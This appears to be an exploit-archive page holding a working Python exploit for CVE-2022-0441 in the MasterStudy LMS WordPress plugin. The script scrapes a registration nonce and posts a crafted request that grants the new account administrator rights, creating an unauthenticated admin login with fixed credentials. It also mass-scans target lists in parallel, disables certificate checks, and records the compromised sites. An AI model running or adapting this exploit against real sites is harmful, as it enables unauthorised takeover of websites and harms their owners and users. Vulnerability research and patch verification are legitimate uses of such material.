4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / MasterStudy.py PY
# @author : biulove0x
# @name   : WP Plugins Master Study Exploiter
# @tg     : @biulove0x
from cmath import exp
from urllib3.exceptions import InsecureRequestWarning
import concurrent.futures
import requests, re, argparse

print(
'''
###############################################
# @author : biulove0x                         #
# @name   : WP Plugins Master Study Exploiter #
# @cve    : CVE-2022-0441                     #
###############################################
''')

def masterstudy(_target, _timeout=5):
    _sessionget = requests.Session()
    _headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36'
    }
    def save_result(_result):
        _saved = open('RESULT-WPMS.txt', 'a+')
        _saved.write(_result + '\n')
        
    try:
        _validationPlugins = _sessionget.get(url=_target, headers=_headers, allow_redirects=True, verify=False, timeout=_timeout)
        if 'stm_lms_register' in _validationPlugins.text:
            _getnonce = re.compile('stm_lms_register":"(.*?)(?:")')
            _findnonce = _getnonce.findall(_validationPlugins.text)
            _data = '{"user_login":"biulove0xpentest","user_email":"[email protected]","user_password":"biulove0xpentest","user_password_re":"biulove0xpentest","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}'
            _postExploit = _sessionget.post(url=_target + 'wp-admin/admin-ajax.php?action=stm_lms_register&nonce=' + _findnonce[0], headers=_headers, allow_redirects=True, data=_data, timeout=_timeout)
            
            if '"status":"success"' in _postExploit.text and '"message":"' in _postExploit.text:
                print('[-] ' + _target + 'wp-admin/ => Success')
                _dataresult = _target + 'wp-admin/ | biulove0xpentest | biulove0xpentest'
                save_result(_dataresult)
            else:
                print('[*] ' + _target + ' => Failed, try manual')
                save_result(_target)
        else:
            print('[+] ' + _target + ' Not found!')
    except:
        print('[%] ' + _target + ' Requests failed')

def main(_choose, _target):
    if _choose == 1:
        masterstudy(_target)

    elif _choose == 2:
        with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
            _ur_list = open(_target, 'r').read().split()
            _futures = []

            for _url in _ur_list:
                _futures.append(executor.submit(masterstudy, _target=_url))

            for _future in concurrent.futures.as_completed(_futures):
                if(_future.result() is not None):
                    print(_future.result())
    else:
        exit()

## SSL Bypass
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

## Setup args
_parser = argparse.ArgumentParser(description='CVE-2022-0441 [ WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation ]')
_parser.add_argument('-t', metavar='example.com', type=str, help='Single target')
_parser.add_argument('-l', metavar='target.txt', type=str, help='Multiple target')
_args = _parser.parse_args()

## Variable args
_singleTarget = _args.t
_multiTarget  = _args.l

if __name__ == '__main__':
    if not _singleTarget == None:
        _choose = 1
        main(_choose, _singleTarget)
    elif not _multiTarget == None:
        _choose = 2
        main(_choose, _multiTarget)
    else:
        print('MasterStudy.py --help for using tools')